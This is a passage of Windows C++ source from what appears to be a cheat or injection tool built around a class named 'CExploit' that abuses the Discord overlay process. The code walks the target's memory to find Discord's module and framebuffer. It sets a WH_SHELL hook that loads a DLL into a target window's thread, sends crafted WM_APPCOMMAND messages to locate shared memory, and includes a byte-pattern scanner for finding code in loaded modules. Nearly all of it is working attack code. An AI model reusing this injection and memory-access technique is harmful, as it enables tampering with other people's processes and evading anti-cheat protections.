ProcessData->discord_base = (uintptr_t)Address;
|
|
char dos_path[1024]{};
|
|
utils::DevicePathToDosPath(filename, dos_path, sizeof(dos_path));
|
|
ProcessData->discord_path = _strdup(dos_path);
|
|
}
|
|
else if (strstr(filename, "shell32.dll") || strstr(filename, "Shell32.dll") || strstr(filename, "SHELL32.dll"))
|
|
{
|
|
if ((uintptr_t)sh != (uintptr_t)Address) {
|
|
uintptr_t delta = (uintptr_t)Address - (uintptr_t)sh;
|
|
t += delta;
|
|
}
|
|
|
|
}
|
|
else if (strstr(filename, exe_name))
|
|
{
|
|
ProcessData->base = (uintptr_t)Address;
|
|
}
|
|
}
|
|
else if (!found && Mbi.State == MEM_COMMIT && Mbi.Protect == PAGE_READWRITE && Mbi.RegionSize == 0x1000 && Mbi.Type == MEM_MAPPED)
|
|
{
|
|
*(SHORT*)((this->LocalSharedMemory) + 0xF00) = 0x00;
|
|
|
|
|
|
auto hhook = SetWindowsHookExA(WH_SHELL, (HOOKPROC)GetProcAddress(nt, "RtlGetIntegerAtom"), ddll, ProcessData->ThreadID);
|
|
ShowWindow(ProcessData->ProcessHwnd, SW_HIDE);
|
|
Sleep(1);
|
|
auto result = SendMessage(ProcessData->ProcessHwnd, WM_APPCOMMAND, (uintptr_t)Address + 0xF00, (uintptr_t)Address + 0xF00);
|
|
|
|
Sleep(1);
|
|
auto unhook = UnhookWindowsHookEx(hhook);
|
|
ShowWindow(ProcessData->ProcessHwnd, SW_SHOW);
|
|
if (*(SHORT*)((this->LocalSharedMemory) + 0xF00)) {
|
|
*MemoryOut = (uintptr_t)Address;
|
|
found = true;
|
|
}
|
|
}
|
|
else if (Mbi.State == MEM_COMMIT && Mbi.Protect == PAGE_READWRITE && Mbi.RegionSize == 0x3201000 && Mbi.Type == MEM_MAPPED)
|
|
{
|
|
ProcessData->discord_framebuffer = (uintptr_t)Address;
|
|
}
|
|
|
|
Address += Mbi.RegionSize;
|
|
}
|
|
|
|
return found;
|
|
}
|
|
|
|
std::uint8_t* CExploit::PatternScan(void* module, const char* signature)
|
|
{
|
|
static auto pattern_to_byte = [](const char* pattern)
|
|
{
|
|
auto bytes = std::vector<int>{};
|
|
auto start = const_cast<char*>(pattern);
|
|
auto end = const_cast<char*>(pattern) + strlen(pattern);
|
|
|
|
for (auto current = start; current < end; ++current)
|
|
{
|
|
if (*current == '?')
|
|
{
|
|
++current;
|
|
if (*current == '?')
|
|
++current;
|
|
bytes.push_back(-1);
|
|
}
|
|
else
|
|
{
|
|
bytes.push_back(strtoul(current, ¤t, 16));
|
|
}
|
|
}
|
|
return bytes;
|
|
};
|
|
|
|
auto dosHeader = (PIMAGE_DOS_HEADER)module;
|
|
auto ntHeaders = (PIMAGE_NT_HEADERS)((std::uint8_t*)module + dosHeader->e_lfanew);
|
|
|
|
auto sizeOfImage = ntHeaders->OptionalHeader.SizeOfImage;
|
|
auto patternBytes = pattern_to_byte(signature);
|
|
auto scanBytes = reinterpret_cast<std::uint8_t*>(module);
|
|
|
|
auto s = patternBytes.size();
|
|
auto d = patternBytes.data();
|
|
|
|
for (auto i = 0ul; i < sizeOfImage - s; ++i)
|
|
{
|
|
bool found = true;
|
|
for (auto j = 0ul; j < s; ++j)
|
|
{
|
|
if (scanBytes[i + j] != d[j] && d[j] != -1)
|
|
{
|
|
found = false;
|
|
break;
|
|
}
|
|
}
|
|
if (found)
|
|
{
|
|
return &scanBytes[i];
|
|
}
|
|
}
|
|
return nullptr;
|
|
}
|
|
|
|
void CExploit::SetupRW()
|
|
{
|
|
|
|
}
|
|
|
|
bool CProcess::Initialize(const wchar_t* WindowName, const wchar_t* ClassName, char* exe_name, HWND target_window)
|
|
{
|
|
if (!target_window)
|
|
{
|
|
ProcessHwnd = FindWindowW(ClassName, WindowName);
|
|
}
|
|
else
|
|
{
|
|
ProcessHwnd = target_window;
|
|
}
|
|
this->exe_name = exe_name;
|
|
if (!ProcessHwnd)
|
|
return false;
|
|
ThreadID = GetWindowThreadProcessId(ProcessHwnd, &ProcessID);
|
|
return ThreadID != 0;
|
|
} |